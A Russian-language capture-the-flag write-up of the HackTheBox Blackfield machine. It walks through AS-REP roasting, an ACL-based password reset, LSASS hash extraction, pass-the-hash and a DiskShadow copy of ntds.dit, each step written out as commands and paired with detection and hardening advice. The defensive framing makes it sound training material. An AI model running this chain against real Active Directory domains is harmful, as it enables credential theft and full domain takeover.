Прохождение HTB Blackfield: от SMB null session до ntds.dit с защитой каждого шага

75% вторжений в корпоративные сети происходят через действительные учётные данные — не через эксплойты нулевого дня, а через обычные логины и хеши паролей, добытые по цепочке из нескольких мисконфигураций (CrowdStrike Global Threat Report 2025). HTB Blackfield — Hard-машина на HackTheBox — воспроизводит именно этот сценарий. Пять шагов: от гостевого доступа к SMB-шаре до полного дампа файла ntds.dit с хешами всех учётных записей домена. В этом hack the box writeup каждый шаг атаки идёт с конкретной мерой защиты доменных контроллеров — GPO, ACL или EventID, который оборвал бы цепочку в продакшн-инфраструктуре.

Зачем атакующему контроллер домена? DC (Domain Controller) — центральный сервер Active Directory (AD — служба управления учётными записями и ресурсами в Windows-сетях). Он хранит хеши паролей всех пользователей организации. Захват DC = контроль над любой машиной в домене: развёртывание ransomware, выгрузка почтовых ящиков, скрытая персистентность через Golden Ticket. По данным IBM X-Force Threat Intelligence Index 2025, рост атак с использованием валидных учётных данных — 71% год к году. И контроллер домена остаётся главным источником этих данных.

SMB null session enumeration: гостевой доступ раскрывает пользователей домена

Nmap по адресу машины показывает восемь TCP-портов: 53 (DNS), 88 (Kerberos — протокол аутентификации в Windows-домене), 135 (RPC — удалённый вызов процедур), 389 (LDAP — протокол службы каталогов для поиска объектов AD), 445 (SMB — протокол доступа к файловым шарам), 593 (RPC over HTTP), 3268 (Global Catalog — глобальный каталог леса AD) и 5985 (WinRM — удалённое управление через PowerShell). Имя хоста — DC01, домен — BLACKFIELD.local. Набор портов однозначно указывает на контроллер домена: Kerberos + LDAP + Global Catalog = AD.

Первый шаг — проверка SMB без аутентификации (null session). Команда smbmap -H 10.10.10.192 -u null показывает: шара profiles$ доступна на чтение без учётных данных. Подключаемся через smbclient -N //10.10.10.192/profiles$ и видим больше 300 директорий. Каждая названа как потенциальный логин: AAlleni, ABarteski, ABekesz. Содержимое пустое — но имена директорий дают готовый список учётных записей для дальнейших атак.

Выгружаем имена в файл: smbclient -N //10.10.10.192/profiles$ -c 'ls' | awk '{print $1}' > users.txt. В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1087 — её идентификаторы) это техника T1087.002 — Domain Account Discovery: перечисление учётных записей домена через доступные сервисы.

Как это предотвратить. Гостевой доступ к шарам — типичная Security Misconfiguration (A05:2021 по классификации OWASP). Закрывается двумя действиями:

• Отключить анонимный доступ через GPO (Group Policy Object — механизм централизованных настроек в AD): Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options, параметр Network access: Restrict anonymous access to Named Pipes and Shares → Enabled.
• Проверить ACL (списки контроля доступа) каждой шары: команда Get-SmbShareAccess -Name profiles$ покажет, кому назначен доступ. Записи Everyone или ANONYMOUS LOGON — удалять без раздумий.

AS-REP Roasting и аудит паролей Active Directory

Из списка 300+ имён нужно найти реальные учётные записи и выявить слабые. Инструмент impacket-GetNPUsers из пакета Impacket проверяет, для каких пользователей отключена предварительная аутентификация Kerberos.

Как работает предварительная аутентификация. При запросе TGT (Ticket Granting Ticket — билет, дающий право запрашивать другие билеты Kerberos) клиент шифрует временную метку своим ключом (производным от пароля) и отправляет контроллеру домена. Если на учётной записи стоит флаг UF_DONT_REQUIRE_PREAUTH, контроллер отдаёт зашифрованную часть ответа без проверки — атакующий получает данные для офлайн-перебора пароля. Это и есть AS-REP Roasting.

Чем отличается от Kerberoasting (T1558.003 по MITRE ATT&CK)? Kerberoasting бьёт по сервисным учётным записям с SPN (Service Principal Name — идентификатор сервиса в домене) и требует любых валидных доменных учётных данных. AS-REP Roasting работает без аутентификации — достаточно знать имя учётной записи с отключённым pre-auth. Порог входа ниже, поэтому это первое, что пробуешь после получения списка пользователей.

Запускаем:

impacket-GetNPUsers -dc-ip 10.10.10.192 \
  'BLACKFIELD.local/' -usersfile users.txt -format hashcat

$krb5asrep$23$support@BLACKFIELD.LOCAL:08bba3fd...5d54

Три типа ответов от DC: KDC_ERR_C_PRINCIPAL_UNKNOWN — пользователь не существует (большинство из 300 имён оказались фиктивными); KDC_ERR_PREAUTH_REQUIRED — пользователь реален, pre-auth включена; хеш $krb5asrep$23$... — pre-auth отключена, хеш получен.

Подтверждённые реальные пользователи: support, audit2020, svc_backup. Хеш вернулся только для support. Отправляем в hashcat с режимом 18200 (Kerberos 5 etype 23 AS-REP) и словарём rockyou.txt: hashcat -m 18200 support.hash /usr/share/wordlists/rockyou.txt. Пароль падает за секунды: support:#00^BlackKnight. Техника T1110.002 — Password Cracking по MITRE ATT&CK.

Как это предотвратить. Флаг DONT_REQUIRE_PREAUTH не должен стоять без документированной причины. Аудит паролей Active Directory начинается с одной команды: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} — если в выводе что-то есть, снимайте флаг. Для обнаружения атаки мониторьте EventID 4768 (запрос TGT) с типом шифрования 0x17 (RC4-HMAC): легитимные клиенты используют AES, RC4 — маркер AS-REP Roasting. Сервисные учётки с SPN переводите на gMSA (Group Managed Service Account — управляемая учётная запись с автоматически генерируемым паролем длиной 240+ символов), что делает офлайн-перебор бессмысленным.

BloodHound и сброс пароля audit2020 через RPC

Пароль support получен, но crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight' не показывает Pwn3d! — удалённого шелла нет. Для SMB-шар новых прав тоже нет: forensic-шара по-прежнему закрыта. Тупик? Не совсем. Нужно искать скрытые пути эскалации внутри домена.

Тут в дело вступает BloodHound — инструмент для визуализации связей и прав в Active Directory. Он строит граф: кто кем может управлять, где есть неочевидные DACL-пути. Запускаем коллектор с Kali: bloodhound-python -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192 -c all. Коллектор подключается по LDAP, собирает данные о пользователях, группах и ACL, выгружает набор JSON-файлов. Загружаем их в интерфейс BloodHound (предварительно запустив neo4j console — графовую базу данных, на которой работает BloodHound) и смотрим граф.

Ищем узел support, открываем Outbound Object Control — над какими объектами у учётки есть контроль. Результат: support имеет право ForceChangePassword на учётную запись audit2020. Это DACL-право (Discretionary Access Control List — список разрешений на конкретный объект AD), позволяющее сменить пароль целевого пользователя без знания текущего. По MITRE ATT&CK это T1078.002 (Domain Accounts) — злоупотребление валидными доменными правами для бокового перемещения.

Для эксплуатации используем rpcclient — утилиту для работы с RPC-сервисами Windows: rpcclient 10.10.10.192 -U 'support%#00^BlackKnight'. Внутри выполняем setuserinfo2 audit2020 18 'Password123' — число 18 указывает на поле password в структуре USER_INFO. Команда завершается без ошибок. Проверяем: crackmapexec smb 10.10.10.192 -u audit2020 -p Password123 — [+] подтверждает успешную смену.

Небольшой нюанс по HTB: машины периодически сбрасываются скриптами очистки. Если пароль перестал работать — просто повторите setuserinfo2.

Как это предотвратить. Права ForceChangePassword часто назначаются по ошибке или наследуются от родительской OU (организационной единицы). Регулярный аудит ACL обязателен — PowerShell-скрипт на основе Get-ACL выявит нестандартные права на объекты AD. Для детектирования: EventID 4724 (попытка сброса пароля другим пользователем) — если пароль меняет не Help Desk и не владелец учётки, это повод для немедленного расследования. BloodHound полезен и на стороне защиты: регулярный анализ графа (T1069.002 — Domain Groups по MITRE ATT&CK) помогает обнаружить опасные DACL-пути до того, как их найдёт атакующий.

Восстановление пароля из дампа lsass: от forensic-шары до шелла

С учётными данными audit2020 проверяем шары заново: smbmap -H 10.10.10.192 -u audit2020 -p Password123. Шара forensic — ранее закрытая — теперь открыта на чтение. Внутри — папка memory_analysis с файлом lsass.zip (~40 МБ).

Что такое LSASS и почему его дамп — находка для атакующего? LSASS (Local Security Authority Subsystem Service) — процесс Windows, который держит в оперативной памяти хеши паролей и билеты Kerberos текущих сессий. Дамп этого процесса содержит учётные данные всех пользователей, залогиненных в момент снятия. Попал к атакующему — считай, раздал пароли.

Скачиваем файл через smbclient (команда get memory_analysis/lsass.zip), распаковываем, получаем lsass.DMP. Для извлечения хешей на Linux используется pypykatz — Python-реализация части функций mimikatz: pypykatz lsa minidump lsass.DMP. В выводе находим NTLM-хеш учётной записи svc_backup: 9658d1d1dcd9250115e2205d9f48400d.

Проверяем: crackmapexec winrm 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d. Ответ — Pwn3d!. Forensic-данные стали вектором атаки — это восстановление пароля из AD-бэкапа в чистом виде. Pass-the-hash (атака, при которой вместо пароля серверу передаётся его NTLM-хеш — протокол NTLM принимает хеш напрямую) срабатывает, потому что svc_backup входит в группу Remote Management Users.

Подключаемся: evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d. Шелл получен. User flag — файл user.txt на рабочем столе.

Как это предотвратить. Хранение дампов LSASS на общих шарах — грубая ошибка обращения с forensic-артефактами. Но три меры защищают и от самого дампа:

• RunAsPPL: параметр реестра HKLM\SYSTEM\CurrentControlSet\Lsa → RunAsPPL = 1 превращает lsass.exe в Protected Process Light — дамп штатными средствами снять невозможно.
• Credential Guard на Windows 10/Server 2016+ виртуализирует хранение секретов LSASS через VBS (Virtualization-Based Security), делая извлечение хешей из памяти неэффективным.
• Forensic-артефакты — только на изолированных системах с ограниченным доступом, не на доменных шарах.

SeBackupPrivilege эксплуатация и ntds.dit извлечение хешей

Команда whoami /priv в шелле svc_backup показывает включённую привилегию SeBackupPrivilege — системную привилегию Windows, позволяющую читать ЛЮБОЙ файл на диске в обход стандартных ACL. Она назначена svc_backup как члену группы Backup Operators.

Конечная цель — файл C:\Windows\NTDS\ntds.dit: база данных Active Directory с хешами паролей ВСЕХ учётных записей домена (техника T1003.003 — NTDS по MITRE ATT&CK). Напрямую скопировать его нельзя — файл заблокирован процессом ntds, который держит эксклюзивный lock. Решение — создать теневую копию тома (Volume Shadow Copy, VSS — «снимок» файловой системы в определённый момент) и извлечь ntds.dit из неё.

Инструмент — DiskShadow, штатная утилита Windows для управления теневыми копиями (T1006 — Direct Volume Access по MITRE ATT&CK). Создаём скрипт ds.txt:

SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias dvccopy
create
expose %dvccopy% z:

Построчно: SET CONTEXT PERSISTENT NOWRITERS — копия сохраняется после перезагрузки и не затрагивает VSS-writers (приложения, которые могут мешать). add volume c: alias dvccopy — указывает том. create — создаёт теневую копию. expose %dvccopy% z: — монтирует копию как диск Z:.

Перед загрузкой скрипт нужно конвертировать в DOS-формат (переводы строк \r\n), иначе DiskShadow не распознает команды. Загружаем скрипт и две DLL (SeBackupPrivilegeCmdLets.dll и SeBackupPrivilegeUtils.dll) через evil-winrm. Выполняем diskshadow /s ds.txt.

Стандартная команда copy не задействует SeBackupPrivilege — она работает через обычные права доступа. Поэтому импортируем DLL в PowerShell-сессию и выполняем: Copy-FileSeBackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit. Если файл C:\Temp\ntds.dit весит ~10-20 МБ — копирование прошло.

Второй файл — SYSTEM hive с Boot Key для расшифровки ntds.dit: reg save HKLM\SYSTEM C:\Temp\SYSTEM. Оба файла скачиваем на Kali через download в evil-winrm.

Извлекаем хеши:

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Administrator:500:aad3b435...:184fb5e5178480be64824d4cd53b99ee:::

Вывод содержит NTLM-хеши всех доменных учёток. С хешем Administrator подключаемся: evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee. Root flag — на рабочем столе.

Нюанс с EFS

Если подключиться от NT AUTHORITY\SYSTEM (например, через psexec.py), файл root.txt окажется нечитаемым: он зашифрован EFS (Encrypting File System) и привязан к сертификату учётной записи Administrator. Расшифровка DPAPI-секретов (Data Protection API — механизм защиты данных, привязанный к учётным данным конкретного пользователя) требует контекста именно Administrator, а не SYSTEM. Поэтому evil-winrm от Administrator — единственный корректный путь к root.txt.

Защита доменных контроллеров от SeBackupPrivilege

Три уровня:

1. Сервисные учётки не должны состоять в Backup Operators без документированной необходимости. Для задач бэкапа используйте gMSA с минимальным набором привилегий.
2. Мониторинг ntds.dit: EventID 4662 с Object Type domainDNS и свойством «Replicating Directory Changes» сигнализирует о DCSync-атаке. Для DiskShadow-варианта мониторьте EventID 7036 (запуск службы VSS) в связке с EventID 4663 (доступ к файлу ntds.dit) — эти события ночью или от сервисной учётки требуют немедленной реакции.
3. Tiered administration model: учётные записи Domain Admins используются только для входа на контроллеры домена, не на рядовые серверы. Это ограничивает количество мест, где хеш администратора может оказаться в памяти LSASS.

Ни одна из пяти проблем в цепочке Blackfield сама по себе не выглядит критической. Гостевой доступ к пустым папкам — minor finding в отчёте. Один пользователь без pre-auth — low risk. Дамп lsass на forensic-шаре — ошибка процесса, не архитектуры. По отдельности каждая из них годами живёт в бэклоге. Но связанные в цепочку, они дают полный контроль над контроллером домена за один вечер.

На внутренних пентестах это повторяется с удивительной регулярностью. По данным Verizon DBIR 2025, 38% утечек связаны с кражей учётных данных — и почти каждый раз это результат цепочки из трёх-пяти мисконфигураций, а не одной эпической уязвимости. Аудит DACL раз в квартал через BloodHound, мониторинг EventID 4724 и 4768 в SIEM, RunAsPPL на контроллерах домена — три конкретные настройки, которые оборвали бы цепочку Blackfield на втором шаге. Ни одна не требует бюджета на enterprise-продукт — только системности и понимания, что именно защищаешь. Если хочешь не просто проходить боксы, а понимать, какая GPO закрыла бы каждый шаг — на IB Basics в Codeby разбирают именно это, на стендах с AD.